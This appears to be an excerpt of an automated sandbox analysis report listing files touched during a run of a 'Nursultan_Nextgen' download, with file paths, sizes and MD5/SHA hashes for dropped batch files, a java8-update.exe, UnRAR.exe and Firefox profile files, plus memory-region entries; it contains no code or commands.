                                                                                SHA1

                                                                                cee50f2745edc6dc291887b6075ca64d716f495a

                                                                                SHA256

                                                                                8ee42d9258e20bbc5bfdfae61605429beb5421ffeaaa0d02b86d4978f4b4ac4e

                                                                                SHA512

                                                                                d329a1a1d98e302142f2776de8cc2cd45a465d77cb21c461bdf5ee58c68073a715519f449cb673977288fe18401a0abcce636c85abaec61a4a7a08a16c924275

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.lib

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                688bed3676d2104e7f17ae1cd2c59404

                                                                                SHA1

                                                                                952b2cdf783ac72fcb98338723e9afd38d47ad8e

                                                                                SHA256

                                                                                33899a3ebc22cb8ed8de7bd48c1c29486c0279b06d7ef98241c92aef4e3b9237

                                                                                SHA512

                                                                                7a0e3791f75c229af79dd302f7d0594279f664886fea228cfe78e24ef185ae63aba809aa1036feb3130066deadc8e78909c277f0a7ed1e3485df3cf2cd329776

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.sig

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                937326fead5fd401f6cca9118bd9ade9

                                                                                SHA1

                                                                                4526a57d4ae14ed29b37632c72aef3c408189d91

                                                                                SHA256

                                                                                68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81

                                                                                SHA512

                                                                                b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\places.sqlite-wal

                                                                                Filesize

                                                                                1.2MB

                                                                                MD5

                                                                                44826451dbf9f98d80e72afa626ea36e

                                                                                SHA1

                                                                                40a92d5a90d4bc48cbb7d26fe1f13647573b6295

                                                                                SHA256

                                                                                167f9635ec17d352ded03b6b9ed3dcec650d9bdb259b4cb2450de656e699da42

                                                                                SHA512

                                                                                244df2d2f06af6de8697d4cd64cb88569b17d74412131ce628e84edaad9c11fce40d64800ee4bc8b42d37ad7d89a94f16f0fcbdeaac168eb0c0246bdbe58b5de

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\prefs-1.js

                                                                                Filesize

                                                                                6KB

                                                                                MD5

                                                                                ea7b7da848c054345fdfebfa74fb5555

                                                                                SHA1

                                                                                73b1792a21a8bbaa9690cccb4eb8cc4029b262f6

                                                                                SHA256

                                                                                1df97a45987c1ee8ae7ca3447361918d3a078aaf3e28302a64b61889c1fe99d9

                                                                                SHA512

                                                                                867479114309336290cd05646699f3d11ff9c01807ee1451488b909cfe2d4901fc0cbbde9c6998b82f7a1bff87051505d8c84f3ee00100bce83a151c0d0d4d5a

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\prefs-1.js

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                2f5b5eea3d0659971bc90e709a60fe2a

                                                                                SHA1

                                                                                401111819e4d705ed37213281441f25d4182d466

                                                                                SHA256

                                                                                5391e27690c37b8c239f604a8690f63db3d4e496eac4eb8c7f363cbd5add803e

                                                                                SHA512

                                                                                5b812e818bd716d1d91bf61e1cd6f6aa3b1d05060e7c0887e1c1c84ec6d3204b0f9421b335e3bbfde0dd2107b880e34f124915d5e9141b784e2e38a2a52ef58f

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\prefs-1.js

                                                                                Filesize

                                                                                6KB

                                                                                MD5

                                                                                a41a3b331976e53b4d4f8b420e41dee5

                                                                                SHA1

                                                                                6882ee7fca75c1043e54e9a22f002d023aa18045

                                                                                SHA256

                                                                                afb1258c8ce49b0694c37df0d532232b4bdd33b89552520b2d3b6668d07deb2e

                                                                                SHA512

                                                                                99dbc97853c910e22d9027b89c2aea1c45c69ea488d2304320efd6a93fe703117fc24c2f99cad6d896a0fe17e246d037b97dda33ee88b6676253b969479b8482

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\sessionstore-backups\recovery.jsonlz4

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                c0bef5a9097999e80036af86560409c4

                                                                                SHA1

                                                                                cc142a16b68d79a16ad65c02d77bc110c3b83bbf

                                                                                SHA256

                                                                                56f30c4a1abe4f0d77ffa50408251cbddbd28953bf45666ad2aa9f079ce66f38

                                                                                SHA512

                                                                                c0d74dd2b9c0c35cb4d54cec4a30f3b473ff2c27d29b77ba3d6488150049750a469ed5c936a257edf40845d600e83bd978a5be7e834733cbcc69220bf336fca2

                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\sessionstore-backups\recovery.jsonlz4

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                cb421a8b2384c2548c06a99ce268fea4

                                                                                SHA1

                                                                                f0a705340186c13ed1ef531018a7106c73c2c789

                                                                                SHA256

                                                                                77522bbdaec20deba8e0f7ad90dcbacb06eda0d0105acb9c9c0d75c45e45335d

                                                                                SHA512

                                                                                bc78188725c1b2d72bd1594f6ea401ba3f7668678013598564ed19dd9fb77e730b8d7d7b39d9f5d3168bbf1069e784a7bdc59af3f5abe9212c485d16812ae08b

                                                                              • C:\Users\Admin\Downloads\Nursultan_Nextgen.8J4q5XeX.zip.part

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                cd64feb52d285ab581ce86b4f51bb733

                                                                                SHA1

                                                                                2d34896ddd4fe93a0ae227fef61d8ea206d3bd90

                                                                                SHA256

                                                                                002ac91ca7fd3a61df8f16b391d7f3d52e8feaf54bdbc412e1eff385516837b4

                                                                                SHA512

                                                                                8dad1768fd8f02849e0341a58ced812d21df6ecb45bcb8278ccb74b8239adffa1410e2ad0d0226fa307c7f808b22e22d01324a6a2e608c367e23cc847844cd0f

                                                                              • C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\kdotDEbKM.bat

                                                                                Filesize

                                                                                199B

                                                                                MD5

                                                                                d4cfcc8678f1146f950256544526e904

                                                                                SHA1

                                                                                be5dc5e55d45f7c4e03ad97b249417b578bb66dc

                                                                                SHA256

                                                                                d37d5d727b74d52490b36daa54023ab8bac4eef33b19075bc7119e1dfe2a7622

                                                                                SHA512

                                                                                f7707e76ca57983e807b0c2f35547d12d9900e64d91d642c26849e3feff624ecb740c982fccfc9c9b2c6ff13db6f78024dc31887792a68bc3545ff47d3548172

                                                                              • C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\kdotYKoIC.bat

                                                                                Filesize

                                                                                13B

                                                                                MD5

                                                                                337065424ed27284c55b80741f912713

                                                                                SHA1

                                                                                0e99e1b388ae66a51a8ffeee3448c3509a694db8

                                                                                SHA256

                                                                                4ef6f5f73f87cd552bf0dceb245365c44996f94eb72aeb2ccefe440fe055043b

                                                                                SHA512

                                                                                d9290f0aa33e11da2ec88165b8133623e3f1633a9df8f477dfab395f655dc9a1d2dc82e8eae1d8eeae950ea2dd1e08054e1b258a0f2a0b4d4ca124db08e42e5a

                                                                              • C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\kdotYKoIC.bat

                                                                                Filesize

                                                                                108B

                                                                                MD5

                                                                                93c470b882d14fb4b0e35782c8adcafb

                                                                                SHA1

                                                                                32e859babb611526ac3dcc169f0e697991aa713f

                                                                                SHA256

                                                                                08ab5b4988d4d770c2ace45f65102d5334731e1e62bcb9f95dbbf0876a785a2e

                                                                                SHA512

                                                                                44fb6cc0d9cf99cfab6fa78a5ef39bf896aed83d47d21997b717e78bf7cc44fb54c3e3f40761a66b861d39e4762cfda88328bbfad688b499c0d47a04c8fa2a13

                                                                              • C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat

                                                                                Filesize

                                                                                330KB

                                                                                MD5

                                                                                4d51a6fcf1d1e0fbd616656feb5641f8

                                                                                SHA1

                                                                                c7cac69757bea9e7c820fce38f37d70ff08c146f

                                                                                SHA256

                                                                                2613a7f261d596639b1841cc59877b33d5027236b89ae6121f972625a504c48c

                                                                                SHA512

                                                                                7d06aebef47071ad253dffda6859849c9c473ba7b7a13079dfb0d758c9b4a468f875921993ae37d4cc5b1be5158102f263f29f1b04a2f84e0adef4f8b712650e

                                                                              • C:\Users\Admin\Downloads\Nursultan_Nextgen\Инструкция.txt

                                                                                Filesize

                                                                                394B

                                                                                MD5

                                                                                cf4c115fdd9d61fe91dd824a232717cc

                                                                                SHA1

                                                                                187f515139a3a9c4dd178fd72a1b9055c2438fb5

                                                                                SHA256

                                                                                1b20ae7074dbd71cdaad0c039538ea9fdabceaf1e54867d4e361aa2d576c1354

                                                                                SHA512

                                                                                96fb5ada5aa5c0cd49045f86847d519b3652093e32eb39dab2266b5b5ed89ecbd05f3708f34efbbf8240f73ec13dc01d23da04be45f6bdbcc08da9de3ed05c39

                                                                              • \??\PIPE\srvsvc

                                                                                MD5

                                                                                d41d8cd98f00b204e9800998ecf8427e

                                                                                SHA1

                                                                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                SHA256

                                                                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                SHA512

                                                                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                              • \Users\Admin\AppData\Local\Temp\RAR57F8IF\java8-update.exe

                                                                                Filesize

                                                                                2.5MB

                                                                                MD5

                                                                                c9a04bf748d1ee29a43ac3f0ddace478

                                                                                SHA1

                                                                                891bd4e634a9c5fec1a3de80bff55c665236b58d

                                                                                SHA256

                                                                                a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc

                                                                                SHA512

                                                                                e17edb74f5cb4d8aabb4c775ec25a271f201da3adcb03541b1919526c0939694a768affc21c3066327e57c13bc9bb481074e51e4e78867df847b26f063b4c115

                                                                              • \Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\assets\UnRAR.exe

                                                                                Filesize

                                                                                494KB

                                                                                MD5

                                                                                98ccd44353f7bc5bad1bc6ba9ae0cd68

                                                                                SHA1

                                                                                76a4e5bf8d298800c886d29f85ee629e7726052d

                                                                                SHA256

                                                                                e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b

                                                                                SHA512

                                                                                d6e8146a1055a59cba5e2aaf47f6cb184acdbe28e42ec3daebf1961a91cec5904554d9d433ebf943dd3639c239ef11560fa49f00e1cff02e11cd8d3506c4125f

                                                                              • memory/864-2867-0x0000000001040000-0x0000000001060000-memory.dmp

                                                                                Filesize

                                                                                128KB

                                                                              • memory/2040-2706-0x0000000002790000-0x0000000002798000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/2040-2705-0x000000001B790000-0x000000001BA72000-memory.dmp

                                                                                Filesize

                                                                                2.9MB

                                                                              • memory/2464-2723-0x000000001B580000-0x000000001B862000-memory.dmp

                                                                                Filesize

                                                                                2.9MB

                                                                              • memory/2464-2724-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

                                                                                Filesize

                                                                                32KB